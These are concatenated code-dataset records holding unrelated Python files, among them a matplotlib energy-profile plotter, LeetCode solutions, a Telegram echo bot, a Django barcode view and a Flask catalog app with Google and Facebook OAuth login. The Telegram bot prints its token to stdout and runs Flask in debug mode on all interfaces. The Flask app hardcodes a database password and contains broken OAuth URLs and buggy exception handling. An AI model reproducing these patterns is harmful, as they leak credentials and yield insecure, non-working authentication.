调用adjust_text，尽可能避免文字文字、文字与曲线重叠\n\n return x_ini # 返回x标签点，用于绘制x轴标签\n\n\ndef plot_scatter(x_sticks, y, color, path_label, TextLabel, FontSize=22):\n \"\"\"作散点图，并以长横线显示数据点\"\"\"\n for i in range(len(y)): # 遍历所有列的能量值\n y_strip = []\n x_strip = []\n for j in range(len(y[i])):\n if y[i][j] != \"\": # 剔除空数据\n x_strip.append(x_sticks[j])\n y_strip.append(y[i][j])\n # 添加文本标签\n if TextLabel == \"True\":\n plt.text(x_sticks[j] - 0.3, y[i][j] + 0.06, \"{:.1f}\".format(y[i][j]), fontsize=FontSize, color=color[i])\n # 绘制其他自旋态，画横线\n plt.scatter(x_strip, y_strip, linewidth=6, color=color[i], label=path_label[i], marker='_', s=1200)\n\n\ndef y_extreme(y):\n \"\"\"返回y列表中的最大值和最小值\"\"\"\n nest = \"False\"\n for i in y:\n if isinstance(i, list):\n nest = \"True\" # 若是嵌套列表，给nest赋值为True\n break\n if nest == \"True\":\n temp = sum(y, []) # 展开y列表\n else:\n temp = y\n temp = [i for i in temp if i != \"\"] # 剔除空数据\n y_max, y_min = max(temp), min(temp)\n return y_max, y_min\n\n\ndef y_list_min(y):\n \"\"\"寻找每行的最小值，并返回一个最小值的列表\"\"\"\n y_T = np.array(y).T.tolist() # 转置y列表数据\n y_min = []\n for i in range(len(y_T)):\n for j in range(y_T[i].count(\"\")):\n y_T[i].remove(\"\") # 删除空数据\n y_min.append(min(list(map(float, y_T[i])))) # 返回每行的最小值，添加到y_min_list列表中\n return y_min\n\n\n# 1. 导入数据\nExcelFile = xlrd.open_workbook(sys.argv[1]) # 读取Excel数据\nsheet = ExcelFile.sheet_by_index(0) # 读取Excel的第一个sheet\n_xtick_labels = sheet.col_values(0)[5:] # 读取第一列数据，反应路径驻点的名称\npic_title = sheet.row_values(0)[1] # 读取图片标题\nX_title = sheet.row_values(1)[1] # 读取X轴标题\nY_title = sheet.row_values(2)[1] # 读取Y轴标题\npath_label = sheet.row_values(3)[1:] # 读取第一行数据，不同反应路径的名称\ncolor = sheet.row_values(4)[1:]\nx = [i+1 for i in range(len(_xtick_labels))] # 生成横坐标\ny = []\nfor i in range(len(sheet.row_values(0))-1):\n y.append(sheet.col_values(i+1)[5:]) # 读取除第一列外的所有列数据，即纵坐标能量值\n\ny_min_list = y_list_min(y) # 返回所有中间体及过渡态中最稳定自旋态的能量值\n\n# 2. 绘制图像\nplt.figure(figsize=(15, 9), dpi=80) # 设置图片大小及分辨率\n\nplot_style = int(sys.argv[2])\nTextLabel = str(sys.argv[3]) # 是否添加坐标点对应的数值文本标签\nFontSize = 22 # 设置能量值文本大小，默认值为22，可根据需要修改\nAxis_FontSize = 20 # 设置XY轴标签及标题大小，默认值为20，可根据需要修改\nif plot_style == 1: # 绘制平滑曲线\n plot_curve(x, y, color, path_label, TextLabel, FontSize)\n plt.xlim(x[0] - 0.5, x[-1] + 0.5) # x轴刻度范围\n plt.xticks(x, _xtick_labels, fontsize=Axis_FontSize) # x轴标签\nelif plot_style == 11:\n x_new, y_smooth = interpolate_cos([i * 2 - 0.5 for i in x], y_min_list) # 调用插点函数，生成插点坐标\n plt.plot(x_new, y_smooth, color=\"grey\", label=None, linewidth=6) # 绘制平滑曲线\n plot_scatter([i * 2 - 0.5 for i in x], y, color, path_label, TextLabel, FontSize)\n plt.xlim(x[0] * 2 - 1.5, x[-1] * 2 + 1) # x轴刻度范围\n plt.xticks([i * 2 - 0.5 for i in x], _xtick_labels, fontsize=Axis_FontSize) # x轴标签\nelif plot_style == 2: # 绘制虚实折线\n plot_line_dot(x, y, color, path_label, TextLabel, FontSize)\n plt.xlim(x[0] * 2 - 1.5, x[-1] * 2 + 1) # x轴刻度范围\n plt.xticks([i * 2 - 0.5 for i in x], _xtick_labels, fontsize=Axis_FontSize) # x轴标签\nelif plot_style == 22: # # 对不同自旋态，只给最稳定态绘制虚实折线\n plot_line_dot(x, y_min_list, \"grey\", None, TextLabel=\"False\") #\n for i in range(len(y)):\n line_split(x, y[i], color[i], TextLabel=\"False\")\n plot_scatter([i * 2 - 0.5 for i in x], y, color, path_label, TextLabel, FontSize)\n plt.xlim(x[0] * 2 - 1.5, x[-1] * 2 + 1) # x轴刻度范围\n plt.xticks([i * 2 - 0.5 for i in x], _xtick_labels, fontsize=Axis_FontSize) # x轴标签\nelif plot_style == 3: # 绘制横线&平滑曲线\n for i in range(len(y)): # 遍历所有列的能量值\n x_sticks = plot_line_curve(y[i], _xtick_labels, color[i], path_label[i], TextLabel, FontSize)\n plt.xticks(x_sticks, _xtick_labels, fontsize=Axis_FontSize) # x轴标签\nelse: # 33 对不同自旋态，只能最稳定态绘制横线&平滑线，其他点绘制横线\n x_sticks = plot_line_curve(y_min_list, _xtick_labels, \"grey\", None, TextLabel=\"False\") # 绘制平滑线\n plt.xticks(x_sticks, _xtick_labels, fontsize=Axis_FontSize) # x轴标签\n plot_scatter(x_sticks, y, color, path_label, TextLabel, FontSize)\n\n# 若x轴标签过长产生重叠，可设置旋转角度，比如rotation=-90, HorizontalAlignment=\"right\"\n\n# 3. 图片设置\ny_max, y_min = y_extreme(y) # 获取y值的最大值和最小值\ny_scale = (y_max - y_min) / 10 # y轴延伸长度\nplt.ylim(y_min - y_scale, y_max + y_scale) # y轴刻度范围\nplt.yticks(fontsize=Axis_FontSize) # y轴标签\n# plt.xlabel(X_title, fontsize=Axis_FontSize) # 横轴标题\nplt.ylabel(Y_title, fontsize=Axis_FontSize) # 纵轴标题\n# plt.title(pic_title, fontsize=Axis_FontSize) # 图标题\n\nplt.legend(fontsize=Axis_FontSize-2, loc=\"upper right\") # 添加图例,位置在左上角\nplt.tight_layout() # 图像外部边缘的调整\n\n# plt.show() # 展示图片\nplt.savefig(\"./EnergyProfile.png\") # 保存图片到当前目录\n","sub_path":"2019/08/09/matplotlib绘制势能面剖面图/Plot_EnergyProfile.py","file_name":"Plot_EnergyProfile.py","file_ext":"py","file_size_in_byte":13696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"388650384","text":"class Solution(object):\n def plusOne(self, digits):\n \"\"\"\n :type digits: List[int]\n :rtype: List[int]\n \"\"\"\n carry = 1\n for idx, num in enumerate(reversed(digits)):\n sum = num + carry\n carry, digits[~idx] = sum / 10, sum % 10\n return [carry] + digits if carry else digits\n","sub_path":"Plus One.py","file_name":"Plus One.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"97393911","text":"from numpy import *\r\nimport os\r\nimport librosa\r\nimport matplotlib.pyplot as plt\r\n\r\ndef eval_sisnr(s_hat,s):\r\n\tif s_hat.shape[0]==s.shape[0]:\r\n\t\teps = finfo(float32).eps;\r\n\t\ts_target=(dot(s_hat,s)/dot(s,s))*s\r\n\t\ts_error=s_hat-s_target\r\n\t\tsisnr=10*log10(max(dot(s_target,s_target),eps)/max(dot(s_error,s_error),eps))\r\n\t\treturn sisnr\r\n\telse:\r\n\t\tprint('They need to have same dimension')\r\n\t\treturn None\r\n\r\ndef evaluation(s1,s2,mixture,folder):\r\n\t# s1,s2 is numpy.ndarray mixture is Mixture()\r\n\r\n\tif os.path.exists(folder+'male_estimated.wav'):\r\n\t\tos.remove ( folder+'male_estimated.wav')\r\n\tif os.path.exists (folder+'female_estimated.wav' ):\r\n\t\tos.remove ( folder+'female_estimated.wav' )\r\n\tif os.path.exists(folder+'mix.wav'):\r\n\t\tos.remove ( folder+'mix.wav' )\r\n\tif os.path.exists(folder+'male_origin.wav'):\r\n\t\tos.remove ( folder+'male_origin.wav' )\r\n\tif os.path.exists ( folder+'female_origin.wav' ):\r\n\t\tos.remove ( folder+'female_origin.wav' )\r\n\tmale_sisdr=eval_sisnr ( s1, mixture.wav1 )\r\n\tfemale_sisdr=eval_sisnr( s2, mixture.wav2 )\r\n\tmale_o_sisdr=eval_sisnr(mixture.wav1+mixture.wav2,mixture.wav1)\r\n\tfemale_o_sisdr=eval_sisnr ( mixture.wav1 + mixture.wav2,mixture.wav2 )\r\n\t\r\n\twith open(folder+'evaluation_results.txt','w') as f:\r\n\t\tseq=['male_sisdr:'+str(male_sisdr)+'\\n','sisdr between mixture and male sound:'+str(male_o_sisdr)+'\\n',\r\n\t\t 'female_sisdr:'+str(female_sisdr)+'\\n','sisdr between mixture and female sound:'+str(female_o_sisdr)+'\\n']\r\n\t\tf.writelines(seq)\r\n\t\r\n\tlibrosa.output.write_wav(folder+'mix.wav',mixture.wav1 + mixture.wav2,16000)\r\n\tlibrosa.output.write_wav ( folder + 'male_origin.wav', mixture.wav1, 16000 )\r\n\tlibrosa.output.write_wav ( folder + 'female_origin.wav', mixture.wav2, 16000 )\r\n\tlibrosa.output.write_wav(folder+'male_estimated.wav',s1,16000)\r\n\tlibrosa.output.write_wav ( folder+'female_estimated.wav' ,s2,16000)\r\n\r\n\tprint ( 'male_sisdr:',male_sisdr )\r\n\tprint('sisdr between mixture and male sound:',male_o_sisdr)\r\n\tprint ( 'female_sisdr:',female_sisdr )\r\n\tprint ( 'sisdr between mixture and female sound:', female_o_sisdr )\r\n\r\n","sub_path":"utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":2068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"477731180","text":"import os\r\n\r\nfrom flask import Flask, request\r\n\r\nimport telebot\r\n\r\nTOKEN = os.environ[\"telekey\"]\r\nURLHe = os.environ[\"herokuurl\"]\r\nprint(\"HOLa\")\r\nprint(TOKEN)\r\nbot = telebot.TeleBot(TOKEN)\r\nserver = Flask(__name__)\r\n\r\n\r\n@bot.message_handler(commands=['start'])\r\ndef start(message):\r\n bot.reply_to(message, 'Hola, ' + message.from_user.first_name)\r\n\r\n\r\n@bot.message_handler(func=lambda message: True, content_types=['text'])\r\ndef echo_message(message):\r\n bot.reply_to(message, message.text)\r\n\r\n\r\n@server.route('/'+TOKEN, methods=['POST'])\r\ndef getMessage():\r\n bot.process_new_updates([telebot.types.Update.de_json(request.stream.read().decode(\"utf-8\"))])\r\n return \"!\", 200\r\n\r\n\r\n@server.route(\"/\")\r\ndef webhook():\r\n bot.remove_webhook()\r\n bot.set_webhook(url=URLHe+TOKEN)\r\n return \"!\", 200\r\n\r\n\r\nif __name__ == \"__main__\":\r\n server.run(host=\"0.0.0.0\", port=int(os.environ.get('PORT', 5000)),debug=True)","sub_path":"Bot.py","file_name":"Bot.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"650908262","text":"\"\"\"\nG'DAY default control flags\n\nRead into the model unless the user changes these at runtime with definitions\nin the .INI file\n\n\"\"\"\n\n__author__ = \"Martin De Kauwe\"\n__version__ = \"1.0 (05.09.2011)\"\n__email__ = \"mdekauwe@gmail.com\"\n\nalloc_model = \"fixed\" # C allocation -> fixed or allometric\nassim_model = \"mate\" # bewdy or mate?\nnuptake_model = 1 # 0=constant uptake, 1=func of N inorgn, 2=depends on rate of soil N availability\ntrans_model = 1 # 0=trans from WUE, 1=Penman-Monteith, 2=Priestley-Taylor\nfixleafnc = False # fixed leaf N C ?\npassiveconst = False # hold passive pool at passivesoil\nprint_options = \"daily\" # \"daily\"=every timestep, \"end\"=end of run\ngrazing = False # Is foliage grazed?\nuse_eff_nc = 0 # use constant leaf n:c for metfrac s\nstrfloat = 0 # Structural pool input N:C varies=1, fixed=0\nuse_leuning = 0 \nfixed_stem_nc = True # False=vary stem N:C with foliage, True=fixed stem N:C\ndeciduous_model = False # evergreen_model=False, deciduous_model=True\ncalc_sw_params = False # false=user supplies field capacity and wilting point, true=calculate them based on cosby et al.\nwater_stress = True # water stress modifier turned on=1 (default)...ability to turn off to test things without drought stress = 0\nmodeljm = True # modeljm=0, Jmax and Vcmax parameters are read in, modeljm=1, parameters are calculated from leaf N content\nmodel_optroot = False # Ross's optimal root model...not sure if this works yet...0=off, 1=on\nsw_stress_model = 1 # JULES type linear stress func, or Landsberg and Waring non-linear func\nps_pathway = \"c3\" # Photosynthetic pathway, c3/c4\n","sub_path":"build/lib/gday/default_control.py","file_name":"default_control.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"28511753","text":"class Solution(object):\n def reorderList(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: no return\n \"\"\"\n if not head or not head.next:\n return\n dummy = ListNode(0)\n middle = self.findMedian(head)\n low, middle.next = middle.next, None\n low = self.reverse(low)\n while head and low:\n dummy.next = head\n head = head.next\n dummy.next.next = low\n low = low.next\n dummy = dummy.next.next\n if head:\n dummy.next = head\n def findMedian(self, head):\n slow, fast = head, head.next\n while fast and fast.next:\n slow = slow.next\n fast = fast.next.next\n return slow\n def reverse(self, head):\n pre = None\n while head:\n tmp = head.next\n head.next = pre\n pre = head\n head = tmp\n return pre\n","sub_path":"Reorder_List/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"208888219","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpRequest\nfrom .models import *\nfrom django.views.decorators.csrf import csrf_exempt\nimport barcode\nfrom barcode.writer import ImageWriter\nfrom barcode import Code128\nfrom pyzbar.pyzbar import decode\nfrom PIL import Image\nfrom pdf417 import encode, render_image, render_svg\n\n# Create your views here.\n\n\ndef showlist(request):\n if request.method == \"POST\":\n brand = request.POST['brand']\n category = request.POST['category']\n model = request.POST['model']\n type = request.POST['type']\n size = request.POST['size'] \n b_id = '00' + brand\n b = (b_id[-2:])\n print(b)\n c_id = '000' + category\n c = (c_id[-3:])\n print(c)\n m_id = '00' + model\n m = (m_id[-2:])\n print(m)\n t_id = '000' + type\n t = (t_id[-3:])\n print(t)\n s_id = '000' + size\n s = (s_id[-2:])\n print(s)\n out = b + c + m + t + s \n \"\"\" print(out) \"\"\"\n \"\"\" a = barcode.get_barcode_class('code128')\n b = a(out, writer=ImageWriter())\n c = b.save('filename') \"\"\"\n EAN = barcode.get_barcode_class('ean13')\n ean = EAN(f'{b}{c}{m}{t}{s}', writer=ImageWriter())\n d = ean.save('bar')\n\n img = Image.open('bar.png')\n result = decode(img)\n for i in result:\n num = []\n print(i.data.decode(\"utf-8\"))\n num.append(i.data.decode(\"utf-8\"))\n\n string = (num[0])\n print(string)\n brand_match = int(string[0:2])\n category_match = int(string[2:5])\n model_match = int(string[5:7])\n type_match = int(string[7:10])\n size_match = int(string[10:12])\n print(brand_match)\n print(category_match)\n print(model_match)\n print(type_match)\n print(size_match) \n br = Brand.objects.get(pk=brand_match)\n print(br.brand)\n ca = Category.objects.get(pk=category_match)\n print(ca.category)\n mo = Model.objects.get(pk=model_match)\n print(mo.model)\n ty = Type.objects.get(pk=type_match)\n print(ty.type)\n si = Size.objects.get(pk=size_match)\n print(si.size)\n\n \n \"\"\" buffer = BytesIO()\n ean.write(buffer)\n self.barcode.save('bar.png', File(buffer), save=False) \"\"\"\n return redirect('showlist')\n return render(request, 'templates/home.html')\n return brand, category, model, type, size\n \n results = Brand.objects.all()\n category = Category.objects.all()\n model = Model.objects.all()\n type = Type.objects.all()\n size = Size.objects.all()\n context = {'results':results, 'category':category, 'model':model, 'type':type, 'size':size}\n return render(request, 'templates/home.html', context)\n\n \"\"\" def readlist(request):\n img = Image.open('barcode.png'\n result = decode(img)\n print(result)\n for i in result:\n print(i.data.decode(\"utf-8\")) \"\"\"\n \n \"\"\" s1 = 0\n s2 = 10\n\n def createlist(s1, s2):\n return [item for item in range(s1, s2)]\n results = ((createlist(s1, s2)))\n results = [str(i) for i in results]\n for item in results:\n codes = encode(str(item), columns=3, security_level=2)\n image = render_image(codes, scale=5, ratio=2, padding=5, fg_color=\"Indigo\", bg_color=\"#ddd\") # Pillow Image object\n image.save('barcode.jpg') \"\"\"\n\n ","sub_path":"products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"176417250","text":"import sys\nfrom art import text2art as ascii\nfrom metroid_utils import *\nfrom metroid_config import *\nfrom data.objects import *\nfrom data.battle import *\n\ntype(ascii(\"METROID\"),textspeed_menu_art)\n\ntype('1. New Game',textspeed_menu)\ntype('2. Load Game',textspeed_menu)\n\ntype(\"Press the corresponding key for an option, then hit enter to confirm.\",textspeed_menu)\n\nmenuoption = input(\"> \").upper()\nprint()\n\nif menuoption == '1':\n type(\"Starting New Game...\", textspeed_menu)\n Samus = Player()\n while True:\n encounter(Samus)\n input(\"> \")\n print()\nelif menuoption == '2':\n type(\"Locate the path of your save file.\", textspeed_menu)\nelse:\n type(\"Quitting...\", textspeed_menu)\n sys.exit()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"294835335","text":"#!/usr/bin/env python3\n\nimport os\n\nfrom flask import Flask\nfrom flask import render_template, request, redirect, jsonify, url_for, flash\n# File upload import here\nfrom flask import send_from_directory\nfrom werkzeug.utils import secure_filename\nfrom datafrica.file_organizer import allowed_file, delete_image\nfrom sqlalchemy.orm.exc import NoResultFound\n\n# Add database imports here\nfrom sqlalchemy import create_engine, asc, desc, literal, func\nfrom sqlalchemy.orm import sessionmaker\nfrom datafrica.database_setup import Base, Category, Item, User\n\n# NEW IMPORTS FOR THIS STEP\nfrom flask import session as login_session\n# As keyword b/c we already used the variable session\n# in my database sqlalchemy.\n\n# NEW IMPORTS FOR THIS STEP\nfrom flask import session as login_session\n# As keyword b/c we already used the variable session my database sqlalchemy.\nimport random\nimport string\n\n# IMPORTS FOR THIS STEP (oauth server side)\nfrom oauth2client import client\nfrom oauth2client.client import flow_from_clientsecrets\nfrom oauth2client.client import FlowExchangeError\nimport httplib2\nimport json\nfrom flask import make_response\nimport requests\n\nUPLOAD_FOLDER = '/var/www/datafrica/datafrica/uploads'\nALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}\n\napp = Flask(__name__)\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\n# DECLARE MY CLIENT ID BY REFERENCING THE CLIENT SECRETS FILE\nAPP_PATH = '/var/www/datafrica/datafrica/'\nclient_id = json.loads(\n open(APP_PATH + 'client_secrets.json', 'r').read())['web']['client_id']\n\nAPPLICATION_NAME = \"Catalog App\"\n\n# Make an instance of create engine\n# engine = create_engine ('sqlite:///catalog.db')\nengine = create_engine('postgresql://datafrica:password@localhost/datafrica')\n# Bind the engine to the metadata of the Base class\n# To establish conversation with the database and act as staging zone\nBase.metadata.bind = engine\nDBSession = sessionmaker(bind=engine)\n\n# Create DB session instance\nsession = DBSession()\n\n@app.route('/')\n@app.route('/index')\ndef showIndex():\n return render_template(\"index.html\")\n\n\n# Create ant-forgery state token\n@app.route('/login')\ndef showLogin():\n # This method creates a unique session token.This token is sent along side\n # the one-time code sent by google via GET request sent to\n # localhost:8000/login.\n state = ''.join(random.choice(string.ascii_uppercase + string.digits)\n for x in range(32))\n # state is a random mixed 32 character long string.\n # Store state from our login_session(a dict)\n # in a variable state.\n login_session['state'] = state\n # return \"The current session state is %s\" %login_session['state']\n # to see what are current state look like. STATE is sent back with oauth.\n return render_template('login.html', STATE=state)\n\n# HANDLER OF CODE SENT BACK FROM CALLBACK METHOD - one time code from google\n@app.route('/gconnect', methods=['GET', 'POST'])\ndef gconnect():\n # Call request args get for my code to examine the state\n # token passed in and compares it to the state of the login session.\n if request.args.get('state') != login_session['state']:\n # If there is mismatch\n response = make_response(json.dumps('invalid state token'), 401)\n response.headers['content-Type'] = 'application/json'\n return response\n # If there is a match\n # Obtain authorization code from my server with request data function\n # Request is variable that holds data and information about code\n code = request.data\n\n try:\n # Upgrade the authorization code into a credentials object\n oauth_flow = flow_from_clientsecrets('client_secrets.json', scope='')\n oauth_flow.redirect_uri = 'postmessage'\n # Access all credentials including access code.\n credentials = oauth_flow.step2_exchange(code)\n # retreive only the access token in json format.\n access_token = credentials.access_token\n # If an error happen along the way\n except FlowExchangeError:\n response = make_response(json.dumps(\n 'Failed to upgrade the authorization code.'), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Append this token to the following url\n url = ('https://www.googleapis.com/oauth2/v1/tokeninfo\\\n ?access_token = %s' % access_token)\n # Create a json GET request with these two lines,\n # containing the url and access_token\n h = httplib2.Http()\n result = json.loads((h.request(url, 'GET')[1]).decode('utf-8'))\n\n if result.get('error') is not None:\n response = make_response(json.dumps(result.get('error')), 500)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Verify that the access token is used for the intended user.\n # Only the it_token part is extracted from credential object.\n gplus_id = credentials.id_token['sub']\n if result['user_id'] != gplus_id:\n response = make_response(\n json.dumps(\"Token's user ID doesn't match given user ID.\"), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Verify that the access token is valid for this app.\n if result['issued_to'] != client_id:\n response = make_response(\n json.dumps(\"token's client ID does not match the app's.\"), 401\n )\n print(\"Token's client ID does not match app's.\")\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Check to see if the user is already logged in\n stored_access_token = login_session.get('access_token')\n stored_gplus_id = login_session.get('gplus_id')\n if stored_access_token is not None and gplus_id == stored_gplus_id:\n response = make_response(json.dumps(\n 'Current user is already connected.'), 200)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Store the access token in the session for later use.\n login_session['access_token'] = credentials.access_token\n login_session['gplus_id'] = gplus_id\n\n # Get user info\n userinfo_url = \"https://www.googleapis.com/oauth2/v1/userinfo\"\n params = {'access_token': credentials.access_token, 'alt': 'json'}\n answer = requests.get(userinfo_url, params=params)\n\n data = answer.json()\n\n login_session['username'] = data['name']\n login_session['picture'] = data['picture']\n login_session['email'] = data['email']\n\n # see if user exists, if it doesn't make a new one.\n # Get user id on the email address stored in our log-in session\n # stored in the variable user_id.\n user_id = getUserID(login_session['email'])\n if not user_id:\n user_id = createUser(login_session)\n login_session['user_id'] = user_id\n\n output = ''\n output += '<h1>Welcome, '\n output += login_session['username']\n output += '!</h1>'\n output += '<img src=\"'\n output += login_session['picture']\n output += ' \" style = \"width: 300px; height: 300px;\\\n border-radius: 150px;-webkit-border-radius: \\\n 150px;-moz-border-radius: 150px;\"> '\n flash(\"you are now logged in as %s\" % login_session['username'])\n print(\"done!\")\n return output\n\n# DISCONNECT - Revoke a current user's token and reset their login_session\n@app.route('/gdisconnect')\ndef gdisconnect():\n \"\"\"This method revokes a current user's token\"\"\"\n\n access_token = login_session.get('access_token')\n if access_token is None:\n print('Access Token is None')\n response = make_response(json.dumps(\n 'Current user not connected.'), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n print('In gdisconnect access token is %s'), access_token\n print('User name is: ')\n print(login_session['username'])\n url = ('https://accounts.google.com/o/oauth2\\\n /revoke?token = %s' % login_session['access_token'])\n h = httplib2.Http()\n result = h.request(url, 'GET')[0]\n print('result is ')\n print(result)\n if result['status'] == '200':\n del login_session['access_token']\n del login_session['gplus_id']\n del login_session['username']\n del login_session['email']\n del login_session['picture']\n response = make_response(json.dumps('Successfully disconnected.'), 200)\n response.headers['Content-Type'] = 'application/json'\n return response\n else:\n response = make_response(json.dumps(\n 'Failed to revoke token for given user.', 400))\n response.headers['Content-Type'] = 'application/json'\n return response\n\n\n# FACEBOOK SIGN IN\n@app.route('/fbconnect', methods=['GET', 'POST'])\ndef fbconnect():\n if request.args.get('state') != login_session['state']:\n response = make_response(json.dumps('Invalid state parameter.'), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n access_token = request.data\n print(\"access token received %s \") % access_token\n # Below, exchange the short-lived token for a long-lived server side token\n # with GET /oauth/access_token?grant_type=fb_exchange_token&client_id=\n # {app-id}&client_secret={app-secret}&fb_exchange_token={short-lived-token}\n app_id = json.loads(open('fb_client_secrets.json', 'r').read())[\n 'web']['app_id']\n # send my app secret to Facebook to verify my identity.\n app_secret = json.loads(\n open('fb_client_secrets.json', 'r').read())['web']['app_secret']\n url = 'https://graph.facebook.com/v5.0/oauth\\\n /access_token?grant_type=fb_exchange_token&\\\n client_id = %s&client_secret = %s&fb_exchange_token = %s'\\\n % (app_id, app_secret, access_token)\n h = httplib2.Http()\n result = h.request(url, 'GET')[1]\n # Use token to get user info from API\n userinfo_url = \"https://graph.facebook.com/v5.0/me\"\n '''\n Due to the formatting for the result from the server token\n exchange we have to split the token first on commas\n and select the first index which gives us the key :\n value for the server access token then we split it\n on colons to pull out the actual token value\n and replace the remaining quotes with nothing so\n that it can be used directly in the graph api calls\n '''\n token = result.split(',')[0].split(':')[1].replace('\"', '')\n\n url = 'https://graph.facebook.com/\\\n v5.0/me?access_token=%s&fields=id,name,email' % token\n\n h = httplib2.Http()\n result = h.request(url, 'GET')[1]\n # print \"url sent for API access:%s\"% url\n # print \"API JSON result: %s\" % result\n data = json.loads(result)\n login_session['provider'] = 'facebook'\n login_session['username'] = data[\"name\"]\n login_session['email'] = data[\"email\"]\n login_session['facebook_id'] = data[\"id\"]\n\n # The token must be stored in the login_session in order to properly logout\n login_session['access_token'] = token\n\n # Get user picture\n url = 'https://graph.facebook.com/v2.8/\\\n me/picture?access_token = %s&redirect = 0\\\n &height = 200&width = 200' % token\n h = httplib2.Http()\n result = h.request(url, 'GET')[1]\n data = json.loads(result)\n\n login_session['picture'] = data[\"data\"][\"url\"]\n\n # see if user exists\n user_id = getUserID(login_session['email'])\n if not user_id:\n user_id = createUser(login_session)\n login_session['user_id'] = user_id\n\n # Welcome splash screen\n output = ''\n output += '<h1>Welcome, '\n output += login_session['username']\n\n output += '!</h1>'\n output += '<img src=\"'\n output += login_session['picture']\n output += ' \" style = \"width: 300px; height: \\\n 300px;border-radius: 150px;-webkit-border-radius: \\\n 150px;-moz-border-radius: 150px;\"> '\n\n flash(\"Now logged in as %s\" % login_session['username'])\n return output\n\n\n@app.route('/fbdisconnect')\ndef fbdisconnect():\n facebook_id = login_session['facebook_id']\n # The access token must me included to successfully logout\n access_token = login_session['access_token']\n url = 'https://graph.facebook.com/%s\\\n /permissions?access_token = %s' % (facebook_id, access_token)\n h = httplib2.Http()\n result = h.request(url, 'DELETE')[1]\n del login_session['username']\n del login_session['email']\n del login_session['picture']\n del login_session['user_id']\n del login_session['facebook_id']\n return \"you have been logged out\"\n\n#####\n# LOCAL PERMISSION SYSTEM\n# User Helper Functions\n# Local permission system, leverages the information\n# stored in the log in session object, and uses the server side logic\n# in the datatbase to control the user experience based on\n# provided credential. To implement LPS, our database has\n# to start storing information in a more user specifci manner.\n# We need a table of users, so we can identify what data belongs to whom.\n# This step include work on lotsofitems as well.\n\n\n# createUser takes in login_session as input\ndef createUser(login_session):\n \"\"\"create new user in our database, extracting all\n the fields neccessary to populate it from information\n gathered from the login_session\"\"\"\n\n newUser = User(\n name=login_session['username'],\n email=login_session['email'],\n picture=login_session['picture'])\n session.add(newUser)\n session.commit()\n user = session.query(User).filter_by(email=login_session['email']).one()\n # Then returns a user_id of the new user created\n return user.id\n\n\ndef getUserInfo(user_id):\n \"\"\"If a user ID is passed into this method,\n it simply returns the user object associated with this ID number.\"\"\"\n\n user = session.query(User).filter_by(id=user_id).one()\n # Returns user object associated with this number.\n return user\n\n\ndef getUserID(email):\n \"\"\"This method, takes an email address and return and ID,\n if that email address belongs to user stored in our database\"\"\"\n\n try:\n user = session.query(User).filter_by(email=email).one()\n # Returns an ID number if the email address belongs to\n # a user stored in our database.\n return user.id\n except None:\n # If not, it returns None.\n return None\n\n# END OF LOCAL PERMISSION\n\n\n# JSON APIs to view Catalog Information\n@app.route('/catalog/json')\ndef catalogJSON():\n categories = session.query(Category).all()\n return jsonify(Category=[i.serialize for i in categories])\n\n\n@app.route('/catalog/items/json')\ndef itemsJSON():\n Items = session.query(Item).all()\n return jsonify(Items=[i.serialize for i in items])\n\n\n@app.route('/catalog/<category_name>/<int:category_id>/<item_title>\\\n/<int:item_id>/json')\ndef productItemJSON(category_name, item_title):\n Product_Item = session.query(Item).filter_by(\n title=item_title).one_or_none()\n return jsonify(Product_Item=Product_Item.serialize)\n\n\n\n# Show all Categories and latest Item-list associated with them\n@app.route('/catalog/')\ndef showCatalog():\n # Add SQLAlchemy statements\n \"\"\"Show the index page displaying the categories and\n latest items 20 items added to the database.\n \"\"\"\n # To protect each category or each category or\n # item based on whoever created it.\n categories = session.query(Category).all()\n\n # result[::-1] return the slice of every elelement of result in reverse\n latestItems = session.query(Item).order_by(desc(Item.id))[0:20]\n\n # If there is a username value in the login_session, we would\n # render one template or the other.\n\n # # # If there is a username value in the login_session, we would\n # render one template or the other.\n # If a user isn't logged in or isn't the original creator\n if 'username' not in login_session:\n return render_template('index.html')\n else:\n return render_template(\n 'catalog.html',\n categories=categories,\n latestItems=latestItems,\n # A parameter for conditional login/out\n login_session=login_session)\n\n\n# \"Show item-list associated with a specific category\n@app.route('/catalog/<category_name>/<int:category_id>/items')\ndef showCategory(category_name, category_id):\n # Add SQLAlchemy statements\n \"\"\"Takes in a specified category_name and returns the\n the items associated with it. Renders a web page\n showing all the categories on one side and the items\n on the other side of the page.\n \"\"\"\n # NOTE IMPORTANT!\n # In other to handle cases where requested items does not exist,\n # in the database. As it is, if you access the\n # URL: http://localhost:8000/catalog/Frisbee/10/Joylight/250000/.\n # The .one() method in filter_by will return:\n # sqlalchemy.orm.exc.NoResultFound\n # NoResultFound: No row was found for one ()\n # A better way to do that would be using one_or_none().\n # This function returns an object NoneType if it 